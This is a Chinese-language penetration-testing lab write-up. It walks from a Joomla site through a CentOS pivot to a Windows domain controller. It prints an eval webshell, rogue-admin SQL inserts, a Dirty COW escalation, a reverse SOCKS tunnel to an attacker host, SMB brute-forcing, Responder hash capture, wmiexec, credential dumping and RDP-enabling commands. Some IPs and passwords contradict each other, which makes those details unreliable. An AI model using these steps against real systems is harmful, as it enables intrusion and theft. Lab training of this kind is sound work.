环境准备
网络拓扑图
外网网段:172.26.239.0/24
内网网段:192.168.93.0/24
主机 | 外网 | 内网 |
---|---|---|
Centos | 172.26.239.89 | 192.168.93.100 |
Ubantu | NA | 192.168.93.120 |
Win Server 2012 | NA | 92.168.93.10 |
Win Server 2018 | NA | 192.168.93.20 |
Win7 | NA | 192.168.93.30 |
攻击机 Kali | 172.26.239.18 | NA |
注意事项
打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行。 挂起状态,账号已默认登陆,centos为出网机,第一次运行,需重新获取桥接模式网卡ip。 除重新获取ip,不建议进行任何虚拟机操作。 参考虚拟机网络配置,添加新的网络,该网络作为内部网络。
外网打点
已知信息 : web ip 172.26.239.89
端口扫描
nmap -sS -O -sV -A 172.26.239.89
扫描结果:22,80,3306三个端口,可知开启了web和mysql服务。
Web打点
访问页面
通过源码与namp扫描都可以得知他使用了Joomla模板
通过百度搜索漏洞
https://blog.youkuaiyun.com/smli_ng/article/details/115799954
使用 w9scan 未能扫到漏洞
目录扫描
robot.txt
web.config.txt
htaccess.txt
administrator/index.php -> 后台登录页面
/configuration.php~ -> 配置文件
1.php -> 爆出 phpinfo();
信息汇总
- 存在后台登录页
- 得到phpinfo,可得绝对路径
- 泄露配置文件
- 泄露htaccess.txt文件
尝试数据库 getshell
从administrator/index.php页面中似乎泄露了数据库的账号密码,尝试登录-成功连接
直接写Shell
SELECT "<?php phpinfo(); ?>" INTO OUTFILE "/var/www/html/3.php"
发现权限不足,无法写入
慢日志getshell
SHOW VARIABLES LIKE 'general%';
set global general_log = "ON"
提示权限不足
进入后台
寻找用户名密码
因为连接数据库,可以直接查看其中的表,其中umnbt_users表存放了用户名密码,得到用户名为admin,但是密码并非常规md5加密,而是使用了另外的加密方式
通过官方文档,查看修改管理员密码的方法
# Joomla!1.5密码恢复
本页仅为Joomla!2.5和更高版本。如果你还在使用Joomla!1.5 [这里可以找到指令](https://docs.joomla.org/Special:MyLanguage/J1.5:How_do_you_recover_or_reset_your_admin_password%3F).
通常,您可以从后端用户管理器添加、编辑和删除用户和密码。要做到这一点,您必须登录为超级管理员组的成员。
在某些情况下,这可能是不可能的。例如,您的网站可能已被“黑客攻击”,并有密码或用户更改。或者知道密码的人不再可用。或者你忘记了使用的密码。
在这些情况下,它仍然是可以改变的Joomla!数据库,以便可以作为超级管理员登录回。这些都可以到Joomla的可能方法!管理员
## 目录
• [1 方法1:configuration.php文件](https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn#.E6.96.B9.E6.B3.951.EF.BC.9Aconfiguration.php.E6.96.87.E4.BB.B6)
• [2 方法2:直接编辑数据库](https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn#.E6.96.B9.E6.B3.952.EF.BC.9A.E7.9B.B4.E6.8E.A5.E7.BC.96.E8.BE.91.E6.95.B0.E6.8D.AE.E5.BA.93)
– [2.1 更改数据库中的密码](https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn#.E6.9B.B4.E6.94.B9.E6.95.B0.E6.8D.AE.E5.BA.93.E4.B8.AD.E7.9A.84.E5.AF.86.E7.A0.81)
– [2.2 添加新超级管理员使用r](https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn#.E6.B7.BB.E5.8A.A0.E6.96.B0.E8.B6.85.E7.BA.A7.E7.AE.A1.E7.90.86.E5.91.98.E4.BD.BF.E7.94.A8r)
### 方法1:configuration.php文件
如果您可以访问您的 configuration.php 在你的服务器的Joomla的安装文件,然后你就可以恢复密码使用以下方法。
1. 使用FTP程序连接到您的站点。找到configuration.php文件看文件的权限。如果权限是444或其他值,然后改变configuration.php文件的权限为644。这将有助于防止问题的发生configuration.php文件上传时在这个过程后。
2. 下载配置文件。
3. 打开configuration.php文件被下载的文本编辑器,比如notepad++并添加这行
public $root_user='myname';
在列表的底部,myname是一个用户名,管理员访问您知道密码。用户名或更高的用户名也可以用来代替具有管理员权限的用户名。
4. 保存configuration.php文件并将其上传到站点。您可以在配置上保留权限。configuration.php文件644。
此用户现在将是临时的超级管理员。
5. 登录到后端并更改管理员密码您没有密码或创建一个新的超级管理员用户。 如果您创建新用户,您可能需要根据您的情况来阻止或删除旧用户。
6. 当完成后,务必使用这里的“点击尝试自动”环节中出现的警告框,删除线,加入到configuration.php文件。如果使用链接不成功,然后再删除添加的线从你的configuration.php文件使用文本编辑器。上传文件到网站configuration.php。
7. 使用你的FTP程序,验证了configuration.php文件的文件权限,他们应该是444。如果你手动删除添加的行,然后更改文件权限的configuration.php文件444。
如果您没有用户知道他们的密码,您不能利用前端注册,您可能需要更改您的数据库,如下面所述的文件。
### 方法2:直接编辑数据库
如果上面的方法不起作用,你还有另外两个选项,这两个选项都需要直接与MySQL数据库一起工作。
## 更改数据库中的密码
如果管理用户仍然被定义,最简单的选项是将数据库中的密码更改为已知值。这就需要你有机会使用phpMyAdmin或另一个客户端的MySQL数据库。
[](https://docs.joomla.org/File:Stop_hand_nuvola.svg.png)
确定您更改您的密码一旦您重新访问
这些指示將说明如何手动更改密码到Word中 - "secret"
1. 导航到phpMyAdmin,选择Joomla的数据库!站点中的左下拉列表框。这将显示屏幕左侧的数据库表。
2. 找到并单击“添加表*users”**在表的列表(注:你可能有一个前缀,**jos*,简单地去_users表你的前缀)。
3. 点击“浏览”按钮在顶部工具栏。这将显示为该站点设置的所有用户。
4. 查找要更改其密码的用户并按该行的编辑图标。
5. 将显示允许您编辑密码字段的窗体。复制的意义
d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199
在密码栏中按下“Go”按钮。phpMyAdmin应该显示消息“受影响的行数:1.此时,密码应改为'secret'。
6. 使用此用户和密码登录并将此用户的密码更改为安全值。检查所有用户使用用户管理器,以确保它们是合法的。如果您已被黑客攻击,您可能要更改网站上的所有密码。
### 添加新超级管理员使用r
如果更改密码不起作用,或者您不确定哪个用户是超级管理员组的成员,您可以使用此方法创建新用户。
1. 导航到phpMyAdmin,选择Joomla的数据库!站点中的左下拉列表框。这将显示屏幕左侧的数据库表。
2. 按工具栏中的“SQL”按钮在选定的数据库上运行SQL查询。这将显示一个字段名为“Run SQL query/queries on database<您的数据库>”。
3. 删除任何文本在这一领域,复制并粘贴以下查询下面,按下“Go”按钮执行查询和添加新的管理员用户表。
4. 使用下面的SQL查询添加另一个管理员帐户。
[](https://docs.joomla.org/File:Stop_hand_nuvola.svg.png)
确保您的数据库表前缀匹配!
下面的代码使用jos31*作为表名的前缀仅是一个示例表前缀。当你第一次安装**Joomla**的前缀是**“_random* ***或你设定的具体过。你需要改变所有发生的\*****jos31_”****(你的安装设置前缀)发现,在下面的代码前缀安装使用。**
**Joomla****使用SQL****代码** [](https://docs.joomla.org/File:Compat_icon_2_5.png) [](https://docs.joomla.org/File:Compat_icon_3_x.png) [](https://docs.joomla.org/File:Compat_icon_4_x.png)
INSERT INTO `jos31_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `jos31_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
复制
在这一点上,你应该能够登录到Joomla的后端!用用户名和密码“Admin2”的“密码”。登录后,转到用户管理器并将密码更改为新的安全值,并向帐户添加有效的电子邮件地址。如果有机会你被“黑客攻击”,一定要检查所有的用户是合法的,特别是超级管理员组的任何成员。
[](https://docs.joomla.org/File:Stop_hand_nuvola.svg.png)
Warning!
警告:此页上显示的密码值为公开知识,仅用于恢复。您的网站可能会被黑客攻击,如果你不改变密码到一个安全值登录后。请确保登录后将密码更改为安全值。
上面的例子更改密码为“select”。其他两个可能的值如下所示:
• password = "this is the MD5 and salted hashed password"
• admin = 433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT
• secret = d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199
• OU812 = 5e3128b27a2c1f8eb53689f511c4ca9e:J584KAEv9d8VKwRGhb8ve7GdKoG7isMm
尝试直接修改密码,没有作用。
尝试增加超级用户,使用以下代码,增加一个用户名为admin123,密码为secret 的超级用户。
INSERT INTO `am2zu_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin123',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
使用新用户进入后台界面 administrator/index.php
文件上传getshell
进入后台,寻找可以上传的功能点。
-
Content 下的Media 功能点,可以上传图片。
• 过滤了php文件,似乎还会检测图片内容,绕过失败。
•
-
Extensions (拓展) 下的 Templates(模板) 功能点
选择一个模板进入,可以修改和创建文件内容
尝试写入一个新文件phpinfo.php,测试是否可用
发现没有给出文件位置,需要自己寻找
通过error.php可用大致推断出文件位置
或者dirsearch扫描的目录加上功能点也可用大致推断出文件位置
文件位置为 10.229.16.154/templates/beez3/phpinfo.php
写入一句话木马
<?php @eval($_POST[123])?>
蚁剑进行连接
绕过disable_functions
打开终端,输入命令,发现回包错误
打开phpinfo页面,发现disable_functions禁用了一些函数
这里交给蚁剑的插件进行绕过,生成新的shell,重新连接即可绕过
内网渗透
Websehll 渗透
ping探测
可以初步推测为Linux系统
查看当前用户
whoami
查看系统版本
uname -a
确认系统为Liunx系统
查看主机名
hostname
查看当前组
groups
查看本机ip信息
ifocnfig -a
发现奇怪的点,无法看到外网网卡信息,只有内网网卡信息
查看路由信息
route
至少我们确定了内网网段为 192.168.93.0/24
查看邻居表
ip neigh
查看arp缓冲区
arp -e
查看DNS
cat /etc/resolv.conf
从路由信息可以发现,内网存在另一个ip 192.168.93.100
查看开启的端口
netstat -ano
查看 /etc/passwd
查看程序与服务
ps -ef
尝试上线msf失败,尝试提权没有权限,并且没有外网网卡,这时候怀疑使用了代理,将内网的流量代理到与外网连接的机器上面。
寻找敏感文件
/tmp/mysql/test.txt
通过前面开启的端口,推测可能是ssh的密码,尝试连接
主机:192.168.154.129
用户名:wwwuser
密码:wwwuser_123Aqx
ssh 渗透
查看当前用户
whoami
查看系统版本
uname -a
查看主机名
hostname
查看当前组
groups
查看当前目录
pwd
查看本机ip信息
ifconfig -a
双网卡,外网ip,这应该就是流量代理的外网主机
查看路由信息
route
多个没见过的ip,后续可以进行扫描
查看邻居表
ip neigh
查看arp缓存区
arp -a
查看程序与服务
ps -ef
上线msf
内网横向
脏牛提权
sudo提权
查看可以使用sudo的命令
sudo -l
无权限,夭折
msf进行提权
查询可以利用的漏洞模块
use post/multi/recon/local_exploit_suggester
选择相应的模块进行提权
提权失败,没有返回session
上传脚本(linux-exploit-suggester),对linux的漏洞进行测试
项目地址:https://github.com/mzet-/linux-exploit-suggester
尝试脏牛漏洞提权
发现存在 CVE-2016-5195 即 脏牛内核漏洞
下载脏牛漏洞exp,上传执行
成功提权
内网网段扫描
run post/multi/gather/ping_sweep RHOSTS=192.168.93.0/24
扫描出 10,20,30网段
添加路由
run post/multi/manage/autoroute CMD=autoadd
nmap扫描
使用msf的nmap进行扫描
192.168.93.10
nmap -A 192.168.93.10
系统: Windows Server 2012 R2
存在域
开启445 可能存在ms17-010
192.168.93.20
namp -A 192.168.93.20
系统:Winodws 2008
80 有web服务
445 可能存在ms17-010
192.168.93.30
namp -A 192.168.93.30
系统:Windows
445 可能存在ms17-010
开启socket代理
拿下了web服务器那么,我们要进一步对内网进行横向渗透,因为看到192.168.93.20开启了80端口,就想看看能不能从这里突破。
既然要看内网的web,那么肯定得吧流量代理出来,这里使用ew搭建soket隧道。
vps端
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
服务端(192.168.93.100)
./ew_for_linux64 -s rssocks -d 192.168.154.130 -e 8888
proxychains 配置代理
修改配置文件
/etc/proxychains.conf
添加我们的代理端口
socks5 127.0.0.1 1080
成功代理
内网打点
Web服务
刚刚看到192.168.93.20开了80端口,用curl看看是什么网站
proxychains curl http://192.168.93.20:80
可惜是 404 ,放弃。
ms17-010
尝试了一波ms17-010,毕竟开着445 139端口。
失败,也是,怎么可能这么简单。
SMB爆破
既然ms17-010不行,也没有域,那就尝试爆破smb,反正开着445端口,有机会。
放入我的祖传字典,进行爆破
使用smb_login模块
use auxiliary/scanner/smb/smb_login
设置目标ip
set rhosts 192.168.93.10
设置爆破的用户名
set SMBUSER administrator
设置字典目录
set pass_file 2021_top100.txt
设置线程
set threads 20
启动!
run
可惜,祖传字典失败了。
后面看了看密码是123qwe!ASD,感觉是我的祖传字典不够厉害,跑去github找有咩有包含这个密码的字典,后面发现要么是123qwe! 要么是 123qweASD ,就是没有这个,可惜~
横向渗透
伪造smb服务器
其他几台机器也开了数据库3389/1433,而且密码是一样的。
这里使用Responder.py来伪造smb服务器来获取hash,然后利用mssql来进行触发验证
先将工具传到centos上,运行脚本python Responder.py -I eth1 -wrf
然后接着在msf触发验证
触发验证后,可以看到,已经成功抓到ntml hash
使用john或hashcat进行破解
得到密码为qwe123!ASD
内网获取cmd
使用工具wmiexec.py来进行获取cmd,执行前,先在msf中开启socks,然后利用proxychains来进行执行命令。
proxychains python3 wmiexec.py ‘administrator:123qwe!ASD@192.168.93.20’
复制
成功获取cmd
查看当前用户和ip
systeminfo
因为只有cmd并且不出网,所以不能直接进行文件上传。
这里有三个方案:
-
直接开启3389进行文件上传
-
使用smbclient工具进行文件上传
-
将文件上传到centos机器上,因为centos机器上有python,可以开启web服务,然后内网机器进行文件下载
Smbclient 上传文件
这里选择用smbclient,首先kali可以直接使用,而且比开启3389方便
proxychains smbclient //192.168.93.20/c$ -U administrator
使用 put 进行文件传输
上线msf
因为机子无法出网,需要正向连接,使用bind_tcp进行上线。
加载kiwi
load kiwi
报错
kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。
将msf进程迁移到system权限下的进程
getsystem提权
查看凭证
成功获取域控的密码
zxcASDqw123!!
拿下域控
查找域控
192.168.93.10
用wmiexec.py获取cmd,后开启域控的3389,进行登录
开启3389
开远程桌面功能
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
防火墙放行
netsh advfirewall firewall set rule group="Remote Desktop" new enable=yes
当我使用rdesktop进行远程连接会报错。
Failed to connect, CredSSP required by server (check if server has disabled old TLS versions, if yes use -V option).
换成remmina连接即可成功上线